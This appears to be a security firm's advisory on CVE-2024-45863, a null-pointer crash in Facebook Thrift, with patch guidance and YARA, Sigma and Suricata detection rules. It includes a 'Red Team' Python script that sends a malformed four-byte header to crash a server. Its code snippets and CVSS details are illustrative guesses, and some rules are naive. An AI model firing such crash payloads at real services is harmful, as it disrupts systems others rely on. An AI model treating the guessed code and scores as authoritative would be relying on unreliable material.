CVE-2024-45863

Executive Summary

CVE-2024-45863 is a null-pointer dereference vulnerability in Facebook Thrift, affecting versions from v2024.09.09.00 up to (but not including) v2024.09.23.00. The flaw resides in the request parsing logic when handling invalid or malformed protocol specifications. An attacker can trigger a null-pointer dereference by sending a specially crafted request with an invalid protocol, leading to a denial of service (DoS) condition via application crash. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The vulnerability is classified under CWE-476 (NULL Pointer Dereference) and aligns with MITRE ATT&CK technique T1499 (Endpoint Denial of Service). No supply chain package details are available as this is a C++ library, not an NPM/PyPI/Go/Ruby package.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality Impact (C): None
• Integrity Impact (I): None
• Availability Impact (A): High
• Threat Level: Medium (due to DoS potential, but no public exploit)

Deep Dive & Mechanics

The vulnerability exists in the request parsing component of Facebook Thrift. When the server receives a request with an invalid or unrecognized protocol identifier, the parsing logic attempts to dereference a null pointer without proper validation. This occurs because the code assumes a valid protocol handler is always returned, but in the case of an invalid protocol, the handler pointer is set to NULL. The subsequent dereference leads to a segmentation fault, crashing the application.

The affected code path is triggered during the initial handshake or request header parsing. An attacker can send a crafted request with a malformed protocol field (e.g., a non-existent protocol name or an empty string) to exploit this flaw. The crash is immediate and does not require authentication.

Vulnerable vs. Patched Code

Vulnerable Code (v2024.09.09.00 - v2024.09.23.00):

// In request parsing logic
ProtocolHandler* handler = getProtocolHandler(request.protocol);
// No null check before dereference
handler->processRequest(request); // NULL pointer dereference if protocol invalid

Patched Code (v2024.09.23.00 and later):

// In request parsing logic
ProtocolHandler* handler = getProtocolHandler(request.protocol);
if (handler == nullptr) {
    // Return error or ignore invalid protocol
    return ErrorResponse("Invalid protocol");
}
handler->processRequest(request);

The patch adds a null check before dereferencing the handler pointer, preventing the crash.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Facebook Thrift server with vulnerable version (v2024.09.09.00 to v2024.09.23.00)
• Network access to the Thrift service port (default 9090)

Exploit Steps:

1. Identify the Thrift service port using Nmap or Shodan.
2. Craft a raw TCP request with an invalid protocol field in the Thrift header.
3. Send the request to trigger the null-pointer dereference.

Example Python script (conceptual):

import socket

target_ip = "192.168.1.100"
target_port = 9090

# Craft a malformed Thrift request with invalid protocol
# The exact binary format depends on Thrift protocol version
# This is a simplified example
payload = b"\x00\x01\x00\x00"  # Invalid protocol identifier

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
sock.close()

Expected Outcome: The Thrift server crashes, causing a denial of service.

Blue Team

Detection:

• Monitor for sudden crashes of Thrift services.
• Look for network traffic with malformed Thrift headers (invalid protocol fields).
• Use the Sigma rule below to detect anomalous Thrift requests.

Mitigation:

• Immediately upgrade to v2024.09.23.00 or later.
• If patching is not possible, deploy a Web Application Firewall (WAF) or intrusion prevention system (IPS) to filter malformed Thrift requests.
• Restrict network access to the Thrift service to trusted IPs only.

Indicators of Compromise (IOCs)

• Network: TCP packets to port 9090 (or custom Thrift port) with invalid protocol identifiers in the Thrift header.
• Logs: Application crash logs showing segmentation faults in the request parsing module.
• Process: Thrift server process terminating unexpectedly with signal SIGSEGV.

Detection Engineering

YARA Rule

rule CVE_2024_45863_Thrift_Null_Deref {
    meta:
        description = "Detects malformed Thrift requests with invalid protocol fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45863"
    strings:
        $invalid_proto = { 00 01 00 00 }  // Example invalid protocol pattern
    condition:
        $invalid_proto at 0
}

Sigma Rule

title: CVE-2024-45863 - Facebook Thrift Null Pointer Dereference
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects network traffic with malformed Thrift protocol fields
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45863
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 9090
        payload|contains: "00 01 00 00"  # Example invalid protocol pattern
    condition: selection
falsepositives:
    - Legitimate Thrift traffic with unusual protocol identifiers (rare)
level: high

Suricata Rule

alert tcp any any -> any 9090 (msg:"CVE-2024-45863 - Facebook Thrift Null Pointer Dereference"; content:"|00 01 00 00|"; depth:4; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Facebook Thrift to version v2024.09.23.00 or later.
2. Workaround: If upgrade is not possible, implement input validation on the Thrift protocol field before parsing.
3. Network: Restrict access to the Thrift service using firewall rules or network segmentation.
4. Monitoring: Enable logging and monitoring for Thrift service crashes and anomalous network traffic.
5. Long-term: Conduct code review of Thrift request parsing logic to ensure null pointer checks are in place.

Valters IT
Securing Digital Frontiers